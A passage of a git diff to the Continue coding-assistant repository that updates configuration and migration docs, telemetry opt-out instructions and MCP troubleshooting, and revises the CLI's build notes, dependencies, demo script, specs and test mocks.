-- `rule` (**required**): The text content of the rule
-- `globs` (optional): When files are provided as context that match this glob pattern, the rule will be included. This can be either a single pattern (e.g., `"**/*.{ts,tsx}"`) or an array of patterns (e.g., `["src/**/*.ts", "tests/**/*.ts"]`).
-
-```yaml title="config.yaml"l
+```yaml title="config.yaml"
rules:
- - Always annotate Python functions with their parameter and return types
- - name: TypeScript best practices
- rule: Always use TypeScript interfaces to define shape of objects. Use type aliases sparingly.
- globs: "**/*.{ts,tsx}"
- - name: TypeScript test patterns
- rule: In TypeScript tests, use Jest's describe/it pattern and follow best practices for mocking.
- globs:
- - "src/**/*.test.ts"
- - "tests/**/*.ts"
- - uses: myprofile/my-mood-setter
- with:
- TONE: concise
+ - uses: sanity/sanity-opinionated # rules file stored on Continue Hub
+ - uses: file://user/Desktop/rules.md # rules file stored on local computer
```
+Rules file example:
+
+```md title="rules.md"
+---
+name: Pirate rule
+---
+
+Talk like a pirate
+```
+
+See the [rules deep dive](/customize/deep-dives/rules) for more details.
+
---
### `prompts`
-A list of custom prompts that can be invoked from the chat window. Each prompt has a name, description, and the actual prompt text.
+Prompts can be invoked with a / command.
+
+Configuration example:
```yaml title="config.yaml"
prompts:
- - name: check
- description: Check for mistakes in my code
- prompt: |
- Please read the highlighted code and check for any mistakes. You should look for the following, and be extremely vigilant:
- - Syntax errors
- - Logic errors
- - Security vulnerabilities
+ - uses: supabase/create-functions # prompts file stored on Continue Hub
+ - uses: file://user/Desktop/prompts.md # prompts file stored on local computer
```
+Prompts file example:
+
+```md title="prompts.md"
+---
+name: Make pirate comments
+invokable: true
+---
+
+Rewrite all comments in the active file to talk like a pirate
+```
+
+See the [prompts deep dive](/customize/deep-dives/prompts) for more details.
+
---
### `docs`
@@ -402,8 +297,8 @@ The [Model Context Protocol](https://modelcontextprotocol.io/introduction) is a
- `args`: An optional array of arguments for the command.
- `env`: An optional map of environment variables for the server process.
- `cwd`: An optional working directory to run the command in. Can be absolute or relative path.
-- `connectionTimeout`: An optional connection timeout number to the server in milliseconds.
- `requestOptions`: Optional request options for `sse` and `streamable-http` servers. Same format as [model requestOptions](#models).
+- `connectionTimeout`: Optional timeout for _initial_ connection to MCP server
**Example:**
@@ -566,3 +461,9 @@ models:
maxPromptTokens: 1024
onlyMyCode: true
```
+
+---
+
+## `config.json` Deprecation
+
+`config.yaml `replaces `config.json`, which is deprecated. View the **[Migration Guide](/reference/yaml-migration)** for help transitioning from the old format.
diff --git a/docs/reference/continue-mcp.mdx b/docs/reference/continue-mcp.mdx
index 882a662c8..6481470d5 100644
--- a/docs/reference/continue-mcp.mdx
+++ b/docs/reference/continue-mcp.mdx
@@ -45,7 +45,7 @@ What context providers are available in Continue?
### Customization
```
-How do I add custom rules to my agent in Continue?
+How do I add custom rules to my configuration in Continue?
```
## Troubleshooting
@@ -65,5 +65,5 @@ How do I add custom rules to my agent in Continue?
## Related Documentation
- [MCP Overview](/customize/deep-dives/mcp)
-- [Agent Mode](/features/agent/quick-start)
+- [Agent Mode](/ide-extensions/agent/quick-start)
- [Configuration](/customize/overview)
diff --git a/docs/reference/deprecated-codebase.mdx b/docs/reference/deprecated-codebase.mdx
index e17d13ad1..6e552493b 100644
--- a/docs/reference/deprecated-codebase.mdx
+++ b/docs/reference/deprecated-codebase.mdx
@@ -6,14 +6,14 @@ noindex: true
---
- **This feature is deprecated.** The `@Codebase` context provider has been deprecated in favor of a more integrated approach to codebase awareness. Please refer to our [Guide on Making Agents Aware of Codebases and Documentation](/guides/codebase-documentation-awareness) for the recommended approach.
+ **This feature is deprecated.** The `@Codebase` context provider has been deprecated in favor of a more integrated approach to codebase awareness. Please refer to our [Guide on Making Agent Mode Aware of Codebases and Documentation](/guides/codebase-documentation-awareness) for the recommended approach.
## Migration Guide
If you're currently using `@Codebase` or `@Folder` context providers, please migrate to the new approach outlined in our [codebase and documentation awareness guide](/guides/codebase-documentation-awareness). The new approach provides:
-- Better integration with Continue's Agent features
+- Better integration with Continue's Agent mode features
- More intelligent context selection
- Improved performance and accuracy
diff --git a/docs/reference/deprecated-docs.mdx b/docs/reference/deprecated-docs.mdx
index a62e88b49..f0e57d5d0 100644
--- a/docs/reference/deprecated-docs.mdx
+++ b/docs/reference/deprecated-docs.mdx
@@ -6,14 +6,14 @@ noindex: true
---
- **This feature is deprecated.** The `@Docs` context provider has been deprecated in favor of a more integrated approach to documentation awareness. Please refer to our [Guide on Making Agents Aware of Codebases and Documentation](/guides/codebase-documentation-awareness) for the recommended approach.
+ **This feature is deprecated.** The `@Docs` context provider has been deprecated in favor of a more integrated approach to documentation awareness. Please refer to our [Guide on Making Agent Mode Aware of Codebases and Documentation](/guides/codebase-documentation-awareness) for the recommended approach.
## Migration Guide
If you're currently using the `@Docs` context provider, please migrate to the new approach outlined in our [codebase and documentation awareness guide](/guides/codebase-documentation-awareness). The new approach provides:
-- Better integration with Continue's Agent features
+- Better integration with Continue's Agent mode features
- More intelligent context selection
- Improved performance and accuracy
diff --git a/docs/reference/json-reference.mdx b/docs/reference/json-reference.mdx
index e11152efe..ad5ef6d16 100644
--- a/docs/reference/json-reference.mdx
+++ b/docs/reference/json-reference.mdx
@@ -6,7 +6,7 @@ noindex: true
**This page documents deprecated functionality.** For creating slash commands and customizing Continue, please use:
- - [Prompt blocks and prompt files](/customize/deep-dives/slash-commands) for slash commands
+ - [Prompt blocks and prompt files](/customize/deep-dives/prompts) for slash commands
- [config.yaml](/reference) for configuration
See the `config.yaml` reference and migration guide
@@ -20,7 +20,7 @@ Below are details for each property that can be set in `config.json`. The config
## `models`
-Your **chat** models are defined here, which are used for [Chat](/features/chat/how-it-works) and [Edit](/features/edit/how-it-works).
+Your **chat** models are defined here, which are used for [Chat](/ide-extensions/chat/how-it-works) and [Edit](/ide-extensions/edit/how-it-works).
Each model has specific configuration options tailored to its provider and functionality, which can be seen as suggestions while editing the json.
diff --git a/docs/reference/yaml-migration.mdx b/docs/reference/yaml-migration.mdx
index 4abcaf154..302237faf 100644
--- a/docs/reference/yaml-migration.mdx
+++ b/docs/reference/yaml-migration.mdx
@@ -1,17 +1,16 @@
---
title: "Migrating Config to YAML"
-description: "Continue's YAML configuration format provides more readable, maintainable, consistent configuration files, as well as new configuration options and removal of some old configuration options. YAML is the preferred format and will be used to integrate with future Continue products. Below is a brief guide for migration from to ."
+description: "Continue's YAML configuration format provides more readable, maintainable, consistent configuration files, as well as new configuration options and removal of some old configuration options. YAML is the preferred format and will be used to integrate with future Continue products. Below is a brief guide for migration from config.json to config.yaml."
---
See also
- [Intro to YAML](https://yaml.org/)
-- [JSON Continue Config Reference](/reference)
- [YAML Continue Config Reference](/reference)
## Create YAML file
-Create a `config.yaml` file in your Continue Global Directory (`~/.continue` on Mac, `%USERPROFILE%\.continue`) alongside your current `config.json` file. If a `config.yaml` file is present, it will be loaded instead of `config.json`.
+Create a `config.yaml` file in your Continue Global Directory (`~/.continue` on Mac, `%USERPROFILE%\.continue`) alongside your current config.json file. If a `config.yaml` file is present, it will be loaded instead of config.json.
Give your configuration a `name` and a `version`:
@@ -87,12 +86,12 @@ config.json
config.yaml
-```
+```yaml
models:
- name: GPT-4
provider: openai
model: gpt-4
- apiKey:
+ apiKey:
defaultCompletionOptions:
temperature: 0.5
maxTokens: 2000
@@ -101,7 +100,8 @@ models:
- edit
- name: My Voyage Reranker
provider: voyage
- apiKey:
+ model: rerank-2
+ apiKey:
roles:
- rerank
- name: My Starcoder
@@ -111,22 +111,25 @@ models:
- autocomplete
- name: My Ada Embedder
provider: openai
- apiKey:
+ model: text-embedding-ada-002
+ apiKey:
roles:
- embed
embedOptions:
- - maxChunkSize: 256
- - maxBatchSize: 5
+ maxChunkSize: 256
+ maxBatchSize: 5
- name: Ollama Autodetect
provider: ollama
model: AUTODETECT
- - name: My Open AI Compatible Model - Apply
+ roles:
+ - chat
+ - name: My Open AI Compatible Model
provider: openai
model: my-openai-compatible-model
apiBase: http://3.3.3.3/v1
requestOptions:
headers:
- X-Auth-Token:
+ X-Auth-Token:
roles:
- chat
- apply
@@ -159,7 +162,7 @@ config.json
config.yaml
-```
+```yaml
context:
- provider: docs
- provider: codebase
@@ -178,14 +181,16 @@ The `systemMessage` property has been replaced with a `rules` property that take
config.json
```json
-{ "systemMessage": "Always give concise responses" }
+{
+ "systemMessage": "Always give concise responses"
+}
```
**After**
config.yaml
-```
+```yaml
rules:
- Always give concise responses
```
@@ -214,7 +219,7 @@ config.json
config.yaml
-```
+```yaml
prompts:
- name: check
description: Check for mistakes in my code
@@ -239,8 +244,14 @@ config.json
```json
{
"docs": [
- { "startUrl": "https://docs.nestjs.com/", "title": "nest.js" },
- { "startUrl": "https://mysite.com/docs/", "title": "My site" }
+ {
+ "startUrl": "https://docs.nestjs.com/",
+ "title": "nest.js"
+ },
+ {
+ "startUrl": "https://mysite.com/docs/",
+ "title": "My site"
+ }
]
}
```
@@ -249,7 +260,7 @@ config.json
config.yaml
-```
+```yaml
docs:
- name: nest.js
startUrl: https://docs.nestjs.com/
@@ -279,8 +290,14 @@ config.json
"transport": {
"type": "stdio",
"command": "uvx",
- "args": ["mcp-server-sqlite", "--db-path", "/Users/NAME/test.db"],
- "env": { "KEY": "" }
+ "args": [
+ "mcp-server-sqlite",
+ "--db-path",
+ "/Users/NAME/test.db"
+ ],
+ "env": {
+ "KEY": ""
+ }
}
}
]
@@ -292,7 +309,7 @@ config.json
config.yaml
-```
+```yaml
mcpServers:
- name: My MCP Server
command: uvx
@@ -308,13 +325,11 @@ mcpServers:
## Deprecated configuration options
-Some deprecated `config.json` settings are no longer stored in config and have been moved to be editable through the user settings (Gear Icon). If found in `config.json`, they will be auto-migrated to User Settings and removed from `config.json`.
+Some deprecated config.json settings are no longer stored in config and have been moved to be editable through the user settings (Gear Icon). If found in config.json, they will be auto-migrated to User Settings and removed from config.json.
-See the [JSON Config Reference](/reference) for more information on fully deprecated options.
+The following top-level fields from config.json have been deprecated and don't have a config.yaml equivalent:
-The following top-level fields from `config.json` still work when using `config.json` but have been deprecated and don't have a YAML equivalent:
-
-- Slash commands (JSON `slashCommands`)
+- Slash commands (`slashCommands`)
- top-level `requestOptions`
@@ -332,7 +347,7 @@ The following top-level fields from `config.json` still work when using `config.
- `analytics`
-The following top-level fields from `config.json` have been deprecated. Most UI-related and user-specific options will move into a settings page in the UI
+The following top-level fields from config.json have been deprecated. Most UI-related and user-specific options will move into a settings page in the UI
- `customCommands`
- `experimental`
diff --git a/docs/snippets/ModelRecommendations.jsx b/docs/snippets/ModelRecommendations.jsx
index a802e96b7..1346e4edc 100644
--- a/docs/snippets/ModelRecommendations.jsx
+++ b/docs/snippets/ModelRecommendations.jsx
@@ -88,12 +88,14 @@ export const ModelRecommendations = ({ role = "all" }) => {
notes: "Closed models are slightly better than open models",
},
apply: {
- open: ["N/A"],
+ open: [
+ "[FastApply](https://hub.continue.dev/mdpauley/fast-apply-15b-v10)",
+ ],
closed: [
"[Relace Instant Apply](https://hub.continue.dev/relace/instant-apply)",
"[Morph Fast Apply](https://hub.continue.dev/morphllm/morph-v2)",
],
- notes: "Open models are not good enough for this model role",
+ notes: "Closed models are better than open models",
},
embed: {
open: [
diff --git a/docs/telemetry.mdx b/docs/telemetry.mdx
index dba2dc6d5..b566d046b 100644
--- a/docs/telemetry.mdx
+++ b/docs/telemetry.mdx
@@ -26,6 +26,25 @@ The following usage information is collected and reported:
## How to Opt Out
+### IDE extensions
+
You can disable anonymous telemetry by toggling "Allow Anonymous Telemetry" off in the user settings.
+#### VS Code
+
Alternatively in VS Code, you can disable telemetry through your VS Code settings by unchecking the "Continue: Telemetry Enabled" box (this will override the Settings Page settings). VS Code settings can be accessed with `File` > `Preferences` > `Settings` (or use the keyboard shortcut `ctrl` + `,` on Windows/Linux or `cmd` + `,` on macOS).
+
+### CLI
+
+For `cn`, the Continue CLI, set the environment variable `CONTINUE_ALLOW_ANONYMOUS_TELEMETRY=0` before running commands:
+
+```bash
+export CONTINUE_ALLOW_ANONYMOUS_TELEMETRY=0
+cn
+```
+
+Or run it inline:
+
+```bash
+CONTINUE_ALLOW_ANONYMOUS_TELEMETRY=0 cn
+```
diff --git a/docs/troubleshooting.mdx b/docs/troubleshooting.mdx
index 0aaa45506..4e2bc9fd3 100644
--- a/docs/troubleshooting.mdx
+++ b/docs/troubleshooting.mdx
@@ -7,7 +7,8 @@ description: "Comprehensive guide to resolving common issues with Continue, incl
2. [Try the latest pre-release](#download-the-latest-pre-release)
3. [Download an older version](#download-an-older-version)
4. [Resolve keyboard shortcut issues](#keyboard-shortcuts-not-resolving)
-5. [Check FAQs for common issues](/faqs)
+5. [MCP Server connection issues](#mcp-server-connection-issues)
+6. [Check FAQs for common issues](/faqs)
## Check the logs
@@ -79,6 +80,30 @@ If your keyboard shortcuts are not resolving, you may have other commands that a
- [VSCode keyboard shortcuts docs](https://code.visualstudio.com/docs/getstarted/keybindings)
- [IntelliJ keyboard shortcut docs](https://www.jetbrains.com/help/idea/configuring-keyboard-and-mouse-shortcuts.html)
+## MCP Server connection issues
+
+### "spawn ENAMETOOLONG" error on macOS
+
+If you're seeing an error like `Failed to connect to ""` with `Error: spawn ENAMETOOLONG` when using MCP servers on macOS, this is due to the environment being too large when spawning the MCP process.
+
+**Workaround:** Use the full path to the command instead of relying on PATH resolution:
+
+```yaml
+mcpServers:
+ - name: Memory MCP server
+ command: /usr/local/bin/npx # Use full path instead of just "npx"
+ args:
+ - -y
+ - "@modelcontextprotocol/server-memory"
+```
+
+To find the full path to a command on your system:
+- For `npx`: run `which npx`
+- For `docker`: run `which docker`
+- For `uv`/`uvx`: run `which uv` or `which uvx`
+
+This issue typically affects macOS users with large development environments and is being tracked in [#7870](https://github.com/continuedev/continue/issues/7870) and [#6699](https://github.com/continuedev/continue/issues/6699).
+
## Still having trouble?
diff --git a/extensions/cli/.gitignore b/extensions/cli/.gitignore
index dc3410527..67557ca37 100644
--- a/extensions/cli/.gitignore
+++ b/extensions/cli/.gitignore
@@ -11,3 +11,7 @@ chat.log
config.yaml
.continue-debug/
+
+*.expect
+!demo.expect
+*.cast
\ No newline at end of file
diff --git a/extensions/cli/BUILD.md b/extensions/cli/BUILD.md
index 553660f94..ae805a800 100644
--- a/extensions/cli/BUILD.md
+++ b/extensions/cli/BUILD.md
@@ -6,8 +6,9 @@ The Continue CLI uses esbuild to bundle the application along with local package
## Build Steps
-1. **Install dependencies**: `npm install`
-2. **Build**: `npm run build`
+1. **Build packages**: `cd ../../ && node ./scripts/build-packages.js`
+2. **Install dependencies**: `npm install`
+3. **Build**: `npm run build`
- This first builds the local packages
- Then bundles everything with esbuild
diff --git a/extensions/cli/README.md b/extensions/cli/README.md
index 9f12eada0..324d3d7be 100644
--- a/extensions/cli/README.md
+++ b/extensions/cli/README.md
@@ -44,6 +44,10 @@ cn ls --json
- `--resume`: Resume the last session for this terminal
- ``: Optional prompt to start with
+## Environment Variables
+
+- `CONTINUE_CLI_DISABLE_COMMIT_SIGNATURE`: Disable adding the Continue commit signature to generated commit messages
+
## Commands
- `cn`: Start an interactive chat session
diff --git a/extensions/cli/build.mjs b/extensions/cli/build.mjs
index 8ff5fa59b..11515b20b 100644
--- a/extensions/cli/build.mjs
+++ b/extensions/cli/build.mjs
@@ -81,8 +81,8 @@ try {
// Add banner to create require for CommonJS packages
banner: {
- js: `import { createRequire } from 'module';
-const require = createRequire(import.meta.url);`,
+ js: `import { createRequire as __createRequire } from 'module';
+const require = __createRequire(import.meta.url);`,
},
});
diff --git a/extensions/cli/demo.expect b/extensions/cli/demo.expect
new file mode 100644
index 000000000..e762df796
--- /dev/null
+++ b/extensions/cli/demo.expect
@@ -0,0 +1,36 @@
+#!/usr/bin/expect -f
+# Automated demo script for Continue TUI
+
+set timeout 30
+log_user 1
+
+# Set terminal environment for better TUI rendering
+set env(TERM) "xterm-256color"
+
+# Spawn cn directly inside an asciinema recording session
+spawn bash -c "asciinema rec --overwrite demo.cast -c 'npm run start'"
+
+# Wait for TUI to load
+sleep 5
+
+# Demo interaction 1: Show help
+send "?"
+sleep 3
+
+# Demo interaction 2: Close help
+send "?"
+sleep 2
+
+# Demo interaction 3: Type a message
+send "Hello, this is a demo!"
+sleep 1
+
+# Submit the message
+send "\r"
+sleep 3
+
+# Exit the application with Ctrl+C
+send "\x03"
+sleep 1
+
+expect eof
diff --git a/extensions/cli/package-lock.json b/extensions/cli/package-lock.json
index 729edf086..e645f4394 100644
--- a/extensions/cli/package-lock.json
+++ b/extensions/cli/package-lock.json
@@ -45,7 +45,6 @@
"@types/jszip": "^3.4.0",
"@types/nock": "^10.0.3",
"@types/react": "^19.1.8",
- "@types/readline-sync": "^1.4.8",
"@types/shell-quote": "^1.7.5",
"@types/supertest": "^6.0.3",
"@types/turndown": "^5.0.5",
@@ -73,7 +72,7 @@
"glob": "^11.0.3",
"gpt-tokenizer": "^3.0.1",
"gradient-string": "^3.0.0",
- "happy-dom": "^18.0.1",
+ "happy-dom": "^20.0.0",
"ignore": "^7.0.5",
"ignore-walk": "^7.0.0",
"ink": "^6.1.0",
@@ -90,7 +89,6 @@
"prettier": "^3.6.2",
"prettier-plugin-tailwindcss": "^0.6.14",
"react": "^19.1.0",
- "readline-sync": "^1.4.10",
"semantic-release": "^24.2.7",
"shell-quote": "^1.8.3",
"supertest": "^7.1.3",
@@ -119,6 +117,7 @@
"dev": true,
"license": "Apache-2.0",
"dependencies": {
+ "@anthropic-ai/sdk": "^0.62.0",
"@aws-sdk/client-bedrock-runtime": "^3.779.0",
"@aws-sdk/client-sagemaker-runtime": "^3.777.0",
"@aws-sdk/credential-providers": "^3.778.0",
@@ -185,6 +184,7 @@
"system-ca": "^1.0.3",
"tar": "^7.4.3",
"tree-sitter-wasms": "^0.1.11",
+ "untildify": "^6.0.0",
"uuid": "^9.0.1",
"vectordb": "^0.4.20",
"web-tree-sitter": "^0.21.0",
@@ -238,7 +238,7 @@
},
"../../packages/config-yaml": {
"name": "@continuedev/config-yaml",
- "version": "1.14.0",
+ "version": "1.23.0",
"dev": true,
"license": "Apache-2.0",
"dependencies": {
@@ -266,15 +266,16 @@
},
"../../packages/openai-adapters": {
"name": "@continuedev/openai-adapters",
- "version": "1.14.0",
+ "version": "1.15.0",
"dev": true,
"license": "Apache-2.0",
"dependencies": {
+ "@anthropic-ai/sdk": "^0.62.0",
"@aws-sdk/client-bedrock-runtime": "^3.842.0",
"@aws-sdk/credential-providers": "^3.840.0",
"@continuedev/config-types": "^1.0.14",
"@continuedev/config-yaml": "^1.14.0",
- "@continuedev/fetch": "^1.1.0",
+ "@continuedev/fetch": "^1.5.0",
"dotenv": "^16.5.0",
"google-auth-library": "^10.1.0",
"json-schema": "^0.4.0",
@@ -5407,13 +5408,6 @@
"csstype": "^3.0.2"
}
},
- "node_modules/@types/readline-sync": {
- "version": "1.4.8",
- "resolved": "https://registry.npmjs.org/@types/readline-sync/-/readline-sync-1.4.8.tgz",
- "integrity": "sha512-BL7xOf0yKLA6baAX6MMOnYkoflUyj/c7y3pqMRfU0va7XlwHAOTOIo4x55P/qLfMsuaYdJJKubToLqRVmRtRZA==",
- "dev": true,
- "license": "MIT"
- },
"node_modules/@types/send": {
"version": "0.17.5",
"resolved": "https://registry.npmjs.org/@types/send/-/send-0.17.5.tgz",
@@ -10241,9 +10235,9 @@
}
},
"node_modules/happy-dom": {
- "version": "18.0.1",
- "resolved": "https://registry.npmjs.org/happy-dom/-/happy-dom-18.0.1.tgz",
- "integrity": "sha512-qn+rKOW7KWpVTtgIUi6RVmTBZJSe2k0Db0vh1f7CWrWclkkc7/Q+FrOfkZIb2eiErLyqu5AXEzE7XthO9JVxRA==",
+ "version": "20.0.2",
+ "resolved": "https://registry.npmjs.org/happy-dom/-/happy-dom-20.0.2.tgz",
+ "integrity": "sha512-pYOyu624+6HDbY+qkjILpQGnpvZOusItCk+rvF5/V+6NkcgTKnbOldpIy22tBnxoaLtlM9nXgoqAcW29/B7CIw==",
"dev": true,
"license": "MIT",
"dependencies": {
@@ -16448,16 +16442,6 @@
"dev": true,
"license": "MIT"
},
- "node_modules/readline-sync": {
- "version": "1.4.10",
- "resolved": "https://registry.npmjs.org/readline-sync/-/readline-sync-1.4.10.tgz",
- "integrity": "sha512-gNva8/6UAe8QYepIQH/jQ2qn91Qj0B9sYjMBBs3QOB8F2CXcKgLxQaJRP76sWVRQt+QU+8fAkCbCvjjMFu7Ycw==",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">= 0.8.0"
- }
- },
"node_modules/reflect.getprototypeof": {
"version": "1.0.10",
"resolved": "https://registry.npmjs.org/reflect.getprototypeof/-/reflect.getprototypeof-1.0.10.tgz",
diff --git a/extensions/cli/package.json b/extensions/cli/package.json
index 61da44989..c8b5a32b3 100644
--- a/extensions/cli/package.json
+++ b/extensions/cli/package.json
@@ -77,7 +77,6 @@
"@types/jszip": "^3.4.0",
"@types/nock": "^10.0.3",
"@types/react": "^19.1.8",
- "@types/readline-sync": "^1.4.8",
"@types/shell-quote": "^1.7.5",
"@types/supertest": "^6.0.3",
"@types/turndown": "^5.0.5",
@@ -105,7 +104,7 @@
"glob": "^11.0.3",
"gpt-tokenizer": "^3.0.1",
"gradient-string": "^3.0.0",
- "happy-dom": "^18.0.1",
+ "happy-dom": "^20.0.0",
"ignore": "^7.0.5",
"ignore-walk": "^7.0.0",
"ink": "^6.1.0",
@@ -122,7 +121,6 @@
"prettier": "^3.6.2",
"prettier-plugin-tailwindcss": "^0.6.14",
"react": "^19.1.0",
- "readline-sync": "^1.4.10",
"semantic-release": "^24.2.7",
"shell-quote": "^1.8.3",
"supertest": "^7.1.3",
diff --git a/extensions/cli/spec/modes.md b/extensions/cli/spec/modes.md
index 7296a19eb..49838a3b3 100644
--- a/extensions/cli/spec/modes.md
+++ b/extensions/cli/spec/modes.md
@@ -57,8 +57,7 @@ Users can switch modes during chat sessions using:
Modes are implemented through the permission system:
-- **ModeService**: Singleton service managing the current mode and initialization
-- **ToolPermissionService**: Extended to support mode-specific policies with highest priority
+- **ToolPermissionService**: Rectifies current mode and tool policies
- **ModeIndicator**: UI component showing current mode (hidden for normal mode)
- **Keyboard shortcuts**: Shift+Tab cycles through modes instantly
- **Backward compatibility**: Existing `--readonly` flag maps to plan mode
diff --git a/extensions/cli/spec/onboarding.md b/extensions/cli/spec/onboarding.md
index 523b9067e..58c651322 100644
--- a/extensions/cli/spec/onboarding.md
+++ b/extensions/cli/spec/onboarding.md
@@ -7,7 +7,8 @@ When a user first runs `cn` in interactive mode, they will be taken through "onb
**The onboarding flow runs when the user hasn't completed onboarding before, regardless of whether they have a valid config.yaml file.**
1. If the --config flag is provided, load this config
-2. Otherwise, we will present the user with two options:
+2. If the CONTINUE_USE_BEDROCK environment variable is set to "1", automatically use AWS Bedrock configuration and skip interactive prompts
+3. Present the user with available options:
- Log in with Continue: log them in, which will automatically create their assistant and then we can load the first assistant from the first org
- Enter your Anthropic API key: let them enter the key, and then either create a ~/.continue/config.yaml with the following contents OR update the existing config.yaml to add the model
@@ -23,7 +24,26 @@ When a user first runs `cn` in interactive mode, they will be taken through "onb
ANTHROPIC_API_KEY:
```
-When something in the onboarding flow is done automatically, we should tell the user what happened.
+ When CONTINUE_USE_BEDROCK=1 is detected, it will use AWS Bedrock configuration. The user must have AWS credentials configured through the standard AWS credential chain (AWS CLI, environment variables, IAM roles, etc.).
+
+When something in the onboarding flow is done automatically, we should tell the user what happened. For example, when CONTINUE_USE_BEDROCK=1 is detected, the CLI displays: "✓ Using AWS Bedrock (CONTINUE_USE_BEDROCK detected)"
+
+### AWS Bedrock Environment Variable
+
+Users can bypass the interactive onboarding menu by setting the `CONTINUE_USE_BEDROCK` environment variable to "1":
+
+```bash
+export CONTINUE_USE_BEDROCK=1
+cn
+```
+
+This will:
+
+- Skip the interactive onboarding prompts
+- Automatically configure the CLI to use AWS Bedrock
+- Require that AWS credentials are already configured through the standard AWS credential chain
+- Display a confirmation message to the user
+- Mark onboarding as completed
## Normal flow
diff --git a/extensions/cli/spec/otlp-metrics.md b/extensions/cli/spec/otlp-metrics.md
index f1398558f..a3900f700 100644
--- a/extensions/cli/spec/otlp-metrics.md
+++ b/extensions/cli/spec/otlp-metrics.md
@@ -19,7 +19,7 @@ The Continue CLI should emit metrics that provide insights into:
| Environment Variable | Description | Example Values |
| ------------------------------- | --------------------------------------------------------- | ------------------------------------ |
-| `CONTINUE_CLI_ENABLE_TELEMETRY` | Enables telemetry collection (required) | `1` |
+| `CONTINUE_CLI_ENABLE_TELEMETRY` | Enables OTEL telemetry collection (required) | `1` |
| `OTEL_METRICS_EXPORTER` | Metrics exporter type(s) (comma-separated) | `console`, `otlp`, `prometheus` |
| `OTEL_LOGS_EXPORTER` | Logs/events exporter type(s) (comma-separated) | `console`, `otlp` |
| `OTEL_EXPORTER_OTLP_PROTOCOL` | Protocol for OTLP exporter (all signals) | `grpc`, `http/json`, `http/protobuf` |
diff --git a/extensions/cli/spec/shell-mode.md b/extensions/cli/spec/shell-mode.md
index a3bdd6cf4..06ad477e9 100644
--- a/extensions/cli/spec/shell-mode.md
+++ b/extensions/cli/spec/shell-mode.md
@@ -1,73 +1,4 @@
-shell Mode (CLI TUI)
-
-Overview
-
-- shell mode lets users run shell commands directly from the chat input by starting their input with an exclamation mark (!).
-- It is intended for quick terminal command execution without leaving the TUI.
-
-Activation
-
-- shell mode is activated when the current input (trimmed) starts with !
- - Example: "!git status" or " !ls -la" both activate shell mode.
-- Visual indicator:
- - Input border color changes to yellow.
- - The input prompt indicator changes to a yellow "$".
- - The input placeholder includes "! for shell mode".
-
-Deactivation / Exiting shell Mode
-
-- Pressing Enter to submit the input exits shell mode immediately after submission, regardless of the command result.
-- Pressing Esc when the input (trimmed) is exactly ! clears the input and exits shell mode.
-- Editing the input so it no longer starts with ! also exits shell mode and restores normal input behavior.
-
-Interaction with other input helpers
-
-- When in shell mode (input starts with !):
- - "@" file search suggestions are disabled.
- - "/" slash command UI is disabled.
-- When in slash command mode (input starts with /):
- - "@" file search suggestions are disabled.
-
-Submission behavior
-
-- On submit (Enter) with a shell-mode input:
- - The leading ! is removed and the remainder is treated as the shell command to run.
- - The TUI immediately appends an assistant message representing a shell tool call, with status set to calling, so users can see that the command is in progress.
- - The shell command is executed asynchronously; when it completes, the tool call status is updated to done (or error) and the output is populated.
-
-Execution semantics
-
-- The command is executed in the same way as terminal tool commands, minus permissions
-
-Output handling
-
-- Stdout is streamed into memory; Stderr is captured and appended as a trailing "Stderr: ..." section on success.
-- If the process exits non-zero and Stderr contains content, the tool call is marked as error and the error text is shown.
-- Output is truncated to the first 5000 lines if exceeded.
-- Timeout behavior: If no output is received for 30 seconds (configurable in tests), the process is terminated and the result includes a note like:
- "[Command timed out after 30 seconds of no output]".
-
-Keyboard behaviors (summary)
-
-- Enter: submit input. If in shell mode, exits shell mode after submission and shows the pending shell tool call immediately.
-- Shift+Enter: new line.
-- Backslash (\) at end-of-line: inserts a new line (line continuation) as usual.
-- Esc: if only ! (trimmed) is present, clears input and exits shell mode; otherwise cancels streaming or closes suggestions depending on context.
-
-Scope / Modes
-
-- shell mode applies to interactive (TUI/standard) CLI usage. It is not part of headless (-p/--print) processing.
-
-Error handling
-
-- Command execution errors are captured and surfaced in the tool call as status error with human-readable error text (including Stderr when available).
-
-Examples
-
-- "!git status" → shows a shell tool call immediately, then populates with the git status output.
-- "!echo hello" → shows a shell tool call immediately, then output "hello".
-- "!some-unknown-cmd" → shows a shell tool call immediately, then sets status to error with an error message.
- Shell Mode (CLI TUI)
+Shell Mode (CLI TUI)
Overview
diff --git a/extensions/cli/spec/telemtry.md b/extensions/cli/spec/telemtry.md
index 0ece80739..e5f4d76f8 100644
--- a/extensions/cli/spec/telemtry.md
+++ b/extensions/cli/spec/telemtry.md
@@ -4,7 +4,7 @@
- Used by Continue for product metrics (not used by customers)
- uses public posthog key in repo
-- CONTINUE_CLI_ENABLE_TELEMETRY can be set to false to disable
+- CONTINUE_ALLOW_ANONYMOUS_TELEMETRY can be set to 0 to disable
- non-anonymous and private data like code is never sent to posthog
- Event user ids are the Continue user id is signed in, or a unique machine id if not
- Current events are slash command usage and chat calls
diff --git a/extensions/cli/src/__mocks__/args.ts b/extensions/cli/src/__mocks__/args.ts
deleted file mode 100644
index f982bdd09..000000000
--- a/extensions/cli/src/__mocks__/args.ts
+++ /dev/null
@@ -1,5 +0,0 @@
-import { vi } from "vitest";
-
-export const processPromptOrRule = vi.fn<(spec: string) => Promise>();
-
-export const processPrompt = vi.fn<(prompt: string) => Promise>();
diff --git a/extensions/cli/src/__mocks__/services/index.ts b/extensions/cli/src/__mocks__/services/index.ts
index 7ea28d99b..5df13605a 100644
--- a/extensions/cli/src/__mocks__/services/index.ts
+++ b/extensions/cli/src/__mocks__/services/index.ts
@@ -1,3 +1,4 @@
+import { ToolPermissionService } from "src/services/ToolPermissionService.js";
import { vi } from "vitest";
export const services = {
@@ -7,14 +8,23 @@ export const services = {
switchOrganization: vi.fn(() => Promise.resolve({})),
getAvailableOrganizations: vi.fn(() => Promise.resolve([])),
},
+ toolPermissions: vi.mocked(new ToolPermissionService()),
};
export const reloadService = vi.fn(() => Promise.resolve(undefined));
export const SERVICE_NAMES = {
AUTH: "auth",
- API_CLIENT: "apiClient",
CONFIG: "config",
MODEL: "model",
MCP: "mcp",
-};
+ API_CLIENT: "apiClient",
+ TOOL_PERMISSIONS: "toolPermissions",
+ FILE_INDEX: "fileIndex",
+ RESOURCE_MONITORING: "resourceMonitoring",
+ SYSTEM_MESSAGE: "systemMessage",
+ CHAT_HISTORY: "chatHistory",
+ UPDATE: "update",
+ STORAGE_SYNC: "storageSync",
+ AGENT_FILE: "agentFile",
+} as const;
